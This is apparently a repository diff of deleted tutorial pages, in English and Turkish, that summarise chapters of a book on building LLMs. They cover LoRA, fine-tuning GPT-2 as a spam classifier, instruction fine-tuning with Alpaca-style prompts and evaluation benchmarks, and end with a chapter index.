def forward(self, x):
x = self.alpha * (x @ self.A @ self.B)
return x
# Combine it with the linear layer
class LinearWithLoRA(torch.nn.Module):
def __init__(self, linear, rank, alpha):
super().__init__()
self.linear = linear
self.lora = LoRALayer(
linear.in_features, linear.out_features, rank, alpha
)
def forward(self, x):
return self.linear(x) + self.lora(x)
# Replace linear layers with LoRA ones
def replace_linear_with_lora(model, rank, alpha):
for name, module in model.named_children():
if isinstance(module, torch.nn.Linear):
# Replace the Linear layer with LinearWithLoRA
setattr(model, name, LinearWithLoRA(module, rank, alpha))
else:
# Recursively apply the same function to child modules
replace_linear_with_lora(module, rank, alpha)
```
## Referanslar
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,117 +0,0 @@
# 7.1. Fine-Tuning for Classification
## What is
Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch.
> [!NOTE]
> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform.
> [!TIP]
> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not).
## Preparing the data set
### Data set size
Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each.
Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**.
- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation.
- This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one.
- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications.
### Entries length
As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding.
### Initialize the model
Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it.
## Classification head
In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words).
```python
# This code modified the final layer with a Linear one with 2 outs
num_classes = 2
model.out_head = torch.nn.Linear(
in_features=BASE_CONFIG["emb_dim"],
out_features=num_classes
)
```
## Parameters to tune
In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**.
```python
# This code makes all the parameters of the model unrtainable
for param in model.parameters():
param.requires_grad = False
# Allow to fine tune the last layer in the transformer block
for param in model.trf_blocks[-1].parameters():
param.requires_grad = True
# Allow to fine tune the final layer norm
for param in model.final_norm.parameters():
param.requires_grad = True
```
## Entries to use for training
In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language.
In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token.
This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as:
```python
def calc_accuracy_loader(data_loader, model, device, num_batches=None):
model.eval()
correct_predictions, num_examples = 0, 0
if num_batches is None:
num_batches = len(data_loader)
else:
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
with torch.no_grad():
logits = model(input_batch)[:, -1, :] # Logits of last output token
predicted_labels = torch.argmax(logits, dim=-1)
num_examples += predicted_labels.shape[0]
correct_predictions += (predicted_labels == target_batch).sum().item()
else:
break
return correct_predictions / num_examples
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)[:, -1, :] # Logits of last output token
loss = torch.nn.functional.cross_entropy(logits, target_batch)
return loss
```
Note how for each batch we are only interested in the **logits of the last token predicted**.
## Complete GPT2 fine-tune classification code
You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,100 +0,0 @@
# 7.2. Talimatları Takip Etmek İçin İnce Ayar
> [!TIP]
> Bu bölümün amacı, **metin üretmekten ziyade talimatları takip etmek için önceden eğitilmiş bir modeli ince ayar yapmayı** göstermektir; örneğin, bir sohbet botu olarak görevlere yanıt vermek.
## Veri Seti
Bir LLM'yi talimatları takip edecek şekilde ince ayar yapmak için, LLM'yi ince ayar yapmak üzere talimatlar ve yanıtlar içeren bir veri setine ihtiyaç vardır. Bir LLM'yi talimatları takip edecek şekilde eğitmek için farklı formatlar vardır; örneğin:
- Apply Alpaca istem tarzı örneği:
```csharp
Below is an instruction that describes a task. Write a response that appropriately completes the request.
### Instruction:
Calculate the area of a circle with a radius of 5 units.
### Response:
The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units:
\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units.
```
- Phi-3 İstem Tarzı Örneği:
```vbnet
<|User|>
Can you explain what gravity is in simple terms?
<|Assistant|>
Absolutely! Gravity is a force that pulls objects toward each other.
```
Bu tür veri setleriyle bir LLM'yi eğitmek, LLM'nin aldığı sorulara belirli yanıtlar vermesi gerektiğini anlamasına yardımcı olur.
Bu nedenle, istekler ve yanıtlar içeren bir veri seti ile yapılacak ilk şeylerden biri, bu veriyi istenen istem formatında modellemektir, örneğin:
```python
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
def format_input(entry):
instruction_text = (
f"Below is an instruction that describes a task. "
f"Write a response that appropriately completes the request."
f"\n\n### Instruction:\n{entry['instruction']}"
)
input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else ""
return instruction_text + input_text
model_input = format_input(data[50])
desired_response = f"\n\n### Response:\n{data[50]['output']}"
print(model_input + desired_response)
```
Sonra, her zamanki gibi, veri setini eğitim, doğrulama ve test için setlere ayırmak gereklidir.
## Batching & Data Loaders
Sonra, eğitim için tüm girdileri ve beklenen çıktıları gruplamak gereklidir. Bunun için:
- Metinleri tokenleştirin
- Tüm örnekleri aynı uzunluğa (genellikle uzunluk, LLM'yi önceden eğitmek için kullanılan bağlam uzunluğu kadar büyük olacaktır) doldurun
- Özel bir toplama fonksiyonunda girişi 1 kaydırarak beklenen tokenleri oluşturun
- Eğitim kaybından hariç tutmak için bazı doldurma tokenlerini -100 ile değiştirin: İlk `endoftext` tokeninden sonra, diğer tüm `endoftext` tokenlerini -100 ile değiştirin (çünkü `cross_entropy(...,ignore_index=-100)` kullanmak, -100 olan hedefleri yok sayacağı anlamına gelir)
- \[Opsiyonel\] LLM'nin yalnızca yanıtı nasıl üreteceğini öğrenmesi için soruya ait tüm tokenleri -100 ile maskeleyin. Alpaca stilinde bu, `### Response:`'a kadar her şeyi maskelemek anlamına gelecektir.
Bunu oluşturduktan sonra, her veri seti (eğitim, doğrulama ve test) için veri yükleyicilerini oluşturma zamanı.
## Load pre-trained LLM & Fine tune & Loss Checking
Bir önceden eğitilmiş LLM'yi ince ayar yapmak için yüklemek gereklidir. Bu, diğer sayfalarda zaten tartışılmıştır. Sonra, LLM'yi ince ayar yapmak için daha önce kullanılan eğitim fonksiyonunu kullanmak mümkündür.
Eğitim sırasında, eğitim kaybı ve doğrulama kaybının epochlar boyunca nasıl değiştiğini görmek de mümkündür; böylece kaybın azalıp azalmadığını ve aşırı uyumun olup olmadığını görebilirsiniz.\
ırı uyum, eğitim kaybı azalırken doğrulama kaybının azalmadığı veya hatta arttığı durumlarda meydana gelir. Bunu önlemek için, bu davranışın başladığı epoch'ta eğitimi durdurmak en basit şeydir.
## Response Quality
Bu, kayıp değişimlerine daha fazla güvenilebilecek bir sınıflandırma ince ayarı olmadığı için, test setindeki yanıtların kalitesini kontrol etmek de önemlidir. Bu nedenle, tüm test setlerinden üretilen yanıtları toplamak ve **kalitelerini manuel olarak kontrol etmek** önerilir; böylece yanlış yanıtlar olup olmadığını görebilirsiniz (LLM'nin yanıt cümlesinin formatını ve sözdizimini doğru bir şekilde oluşturması ancak tamamen yanlış bir yanıt vermesi mümkündür. Kayıp değişimi bu davranışı yansıtmayacaktır).\
Ayrıca, üretilen yanıtları ve beklenen yanıtları **diğer LLM'lere geçirerek yanıtları değerlendirmelerini istemek** de mümkündür.
Yanıtların kalitesini doğrulamak için çalıştırılacak diğer testler:
1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU, bir modelin bilgi ve problem çözme yeteneklerini 57 konu üzerinden değerlendirir; beşeri bilimler, bilimler ve daha fazlasını içerir. Farklı zorluk seviyelerinde anlayışı değerlendirmek için çoktan seçmeli sorular kullanır.
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Bu platform, kullanıcıların farklı chatbotlardan gelen yanıtları yan yana karşılaştırmalarına olanak tanır. Kullanıcılar bir istem girer ve birden fazla chatbot, doğrudan karşılaştırılabilen yanıtlar üretir.
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval, gelişmiş bir LLM'nin (örneğin GPT-4) diğer modellerin çeşitli istemlere verdiği yanıtları değerlendirdiği otomatik bir değerlendirme çerçevesidir.
4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE, duygu analizi, metin çıkarımı ve soru yanıtlama gibi dokuz doğal dil anlama görevinden oluşan bir koleksiyondur.
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUE'ya dayanarak, SuperGLUE mevcut modeller için zorlayıcı olan daha zorlu görevler içerir.
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench, bir modelin akıl yürütme, çeviri ve soru yanıtlama gibi alanlardaki yeteneklerini test eden 200'den fazla görev içeren büyük ölçekli bir benchmark'tır.
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM, doğruluk, sağlamlık ve adalet gibi çeşitli metrikler üzerinden kapsamlı bir değerlendirme sağlar.
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI tarafından geliştirilen açık kaynaklı bir değerlendirme çerçevesidir; AI modellerinin özel ve standartlaştırılmış görevlerde test edilmesine olanak tanır.
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Dil modellerinin kod üretme yeteneklerini değerlendirmek için kullanılan bir dizi programlama problemi.
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD, modellerin metni anlaması gereken Wikipedia makaleleri hakkında sorulardan oluşur.
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Trivia soruları ve cevapları ile birlikte kanıt belgelerinden oluşan büyük ölçekli bir veri seti.
ve daha birçok şey
## Follow instructions fine-tuning code
Bu ince ayarı gerçekleştirmek için kod örneğini [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) adresinde bulabilirsiniz.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,98 +0,0 @@
# LLM Eğitimi - Veri Hazırlığı
**Bunlar, çok önerilen kitabımdan aldığım notlar** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **ve bazı ek bilgiler.**
## Temel Bilgiler
Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalısınız:
{{#ref}}
0.-basic-llm-concepts.md
{{#endref}}
## 1. Tokenizasyon
> [!TIP]
> Bu ilk aşamanın amacı çok basit: **Girdiyi mantıklı bir şekilde token'lara (kimliklere) ayırmak**.
{{#ref}}
1.-tokenizing.md
{{#endref}}
## 2. Veri Örnekleme
> [!TIP]
> Bu ikinci aşamanın amacı çok basit: **Girdi verilerini örneklemek ve genellikle belirli bir uzunluktaki cümlelere ayırarak eğitim aşamasına hazırlamak ve ayrıca beklenen yanıtı üretmek.**
{{#ref}}
2.-data-sampling.md
{{#endref}}
## 3. Token Gömme
> [!TIP]
> Bu üçüncü aşamanın amacı çok basit: **Sözlükteki önceki her token'a modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir nokta olacaktır.\
> Başlangıçta her kelimenin uzaydaki konumu "rastgele" başlatılır ve bu konumlar eğitilebilir parametrelerdir (eğitim sırasında geliştirilecektir).
>
> Ayrıca, token gömme sırasında **gömme katmanının başka bir katmanı oluşturulur** ki bu da (bu durumda) **kelimenin eğitim cümlesindeki mutlak konumunu temsil eder.** Bu şekilde, cümledeki farklı konumlarda bir kelimenin farklı bir temsili (anlamı) olacaktır.
{{#ref}}
3.-token-embeddings.md
{{#endref}}
## 4. Dikkat Mekanizmaları
> [!TIP]
> Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmalarını uygulamak.** Bunlar, **sözlükteki bir kelimenin, LLM'yi eğitmek için kullanılan mevcut cümledeki komşularıyla olan ilişkisini yakalayacak çok sayıda tekrar eden katmanlar** olacaktır.\
> Bunun için çok sayıda katman kullanılacak, bu nedenle çok sayıda eğitilebilir parametre bu bilgiyi yakalayacaktır.
{{#ref}}
4.-attention-mechanisms.md
{{#endref}}
## 5. LLM Mimarisi
> [!TIP]
> Bu beşinci aşamanın amacı çok basit: **Tam LLM'nin mimarisini geliştirmek.** Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni kimliklere ve tersine dönüştürmek için tüm işlevleri oluşturun.
>
> Bu mimari, hem eğitim hem de eğitimden sonra metin tahmin etmek için kullanılacaktır.
{{#ref}}
5.-llm-architecture.md
{{#endref}}
## 6. Ön Eğitim ve Modellerin Yüklenmesi
> [!TIP]
> Bu altıncı aşamanın amacı çok basit: **Modeli sıfırdan eğitmek.** Bunun için önceki LLM mimarisi, tanımlı kayıp fonksiyonları ve optimizasyon kullanarak veri setleri üzerinde döngülerle tüm model parametrelerini eğitmek için kullanılacaktır.
{{#ref}}
6.-pre-training-and-loading-models.md
{{#endref}}
## 7.0. İnce Ayar için LoRA İyileştirmeleri
> [!TIP]
> **LoRA'nın kullanımı, zaten eğitilmiş modelleri ince ayar yapmak için gereken hesaplamayı büyük ölçüde azaltır.**
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
{{#endref}}
## 7.1. Sınıflandırma için İnce Ayar
> [!TIP]
> Bu bölümün amacı, zaten önceden eğitilmiş bir modeli ince ayar yapmayı göstermektir, böylece yeni metin oluşturmak yerine LLM, **verilen metnin her bir verilen kategoriye sınıflandırılma olasılıklarını** seçecektir (örneğin, bir metnin spam olup olmadığını belirlemek).
{{#ref}}
7.1.-fine-tuning-for-classification.md
{{#endref}}
## 7.2. Talimatları Takip Etmek için İnce Ayar
> [!TIP]
> Bu bölümün amacı, **metin oluşturmak yerine talimatları takip etmek için zaten önceden eğitilmiş bir modeli ince ayar yapmayı** göstermektir, örneğin, bir sohbet botu olarak görevlere yanıt vermek.
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}